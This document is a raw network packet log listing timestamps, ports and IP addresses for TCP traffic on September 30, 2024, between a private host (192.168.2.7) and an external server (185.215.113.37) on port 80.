Sep 30, 2024 15:20:15.487879992 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487888098 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487909079 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.640439034 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.645400047 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862164021 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862195969 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862206936 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862271070 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862271070 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862287045 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862303019 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862314939 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862327099 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862351894 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862351894 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862396002 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862495899 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862507105 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862518072 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862534046 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862545967 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862550020 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862550020 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862557888 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862592936 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862626076 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862667084 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862679005 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862720013 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862818956 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862831116 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862840891 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862858057 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862870932 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862879992 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862888098 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862888098 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862893105 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862909079 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862921000 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.862947941 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862948895 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.862987041 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863173962 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863185883 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863198042 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863209009 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863219976 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863229990 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863240004 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863244057 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863244057 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863257885 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863265991 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863270998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863281965 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863296986 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863306999 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863317013 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863317013 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863317013 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863328934 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863334894 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863341093 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863353014 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863372087 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863372087 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863403082 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863892078 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863903999 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863914967 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863925934 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863936901 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863946915 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863953114 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863953114 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.863957882 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863970041 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863981009 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.863991976 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864008904 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864018917 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864022017 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864022017 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864032030 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864042997 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864053011 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864062071 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864062071 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864063978 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864104986 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864104986 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864376068 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864387989 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864398003 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864407063 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864418983 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864427090 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864432096 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864443064 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864453077 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864474058 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864489079 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864902973 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864914894 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864931107 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864940882 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864952087 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864962101 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864970922 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864972115 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864970922 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.864984989 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.864995003 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865005016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865012884 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865012884 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865015030 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865026951 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865037918 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865044117 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865047932 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865058899 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865068913 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865080118 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865083933 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865083933 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865091085 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865103006 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865113020 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865122080 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865122080 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865123987 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865138054 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865148067 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865159035 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865168095 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865168095 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865190983 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865222931 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865730047 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865744114 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865753889 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865772963 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865782976 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865793943 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865803003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865804911 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865803003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865817070 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865828037 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865837097 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865844011 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865844011 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865849018 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865859985 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865869999 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865870953 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865889072 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865896940 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865900040 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865914106 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865923882 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865933895 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865945101 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865945101 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865948915 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865961075 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865972996 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865973949 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.865977049 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865988016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.865998983 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866014004 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866054058 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866054058 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866694927 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866707087 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866717100 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866728067 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866736889 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866748095 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866756916 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866758108 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866770029 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866771936 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866781950 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866796017 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866805077 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866806030 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866805077 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866818905 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866830111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866839886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866844893 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866844893 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866853952 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.866873980 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.866974115 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949181080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949206114 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949218035 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949306965 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949318886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949328899 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949341059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949462891 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949462891 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949462891 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949462891 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949462891 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949538946 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949552059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949562073 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949575901 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949589014 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949589968 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949609041 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949637890 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949637890 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949767113 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949779034 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949790001 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949800014 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.949810982 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.949862957 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.991851091 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991866112 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991889000 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991899014 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991909027 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991919994 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991930008 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991940022 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991950035 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991959095 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991969109 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991980076 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.991990089 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992000103 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992001057 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992011070 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992054939 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992065907 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992158890 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992170095 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992172003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992172003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992172003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992172003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992182016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992193937 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992213011 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992244005 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992404938 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992417097 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992427111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992436886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992455006 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992455006 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992465973 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992477894 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992477894 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992489100 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992500067 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992503881 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992503881 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992537022 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992552996 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992691994 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992738008 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992749929 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992758989 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992760897 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992790937 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992790937 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992850065 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.992953062 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992964983 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992974043 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992985010 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992995024 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.992999077 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993005037 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993016005 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993025064 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993031979 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993031979 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993052006 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993096113 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993213892 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993227959 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993237972 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993247986 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993266106 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993266106 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993321896 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993333101 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993473053 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993503094 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993520021 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993530035 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993541002 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993551016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993556023 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993556023 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993563890 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993576050 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993582964 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993587017 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993597031 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993597984 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993607998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993617058 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993626118 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993635893 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993639946 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993640900 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993648052 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993657112 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993659019 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993679047 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993690014 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993695021 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993695021 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993705034 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.993716002 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993748903 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.993748903 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994286060 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994298935 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994309902 CEST	80	49699	185.215.113.37	192.168.2.7
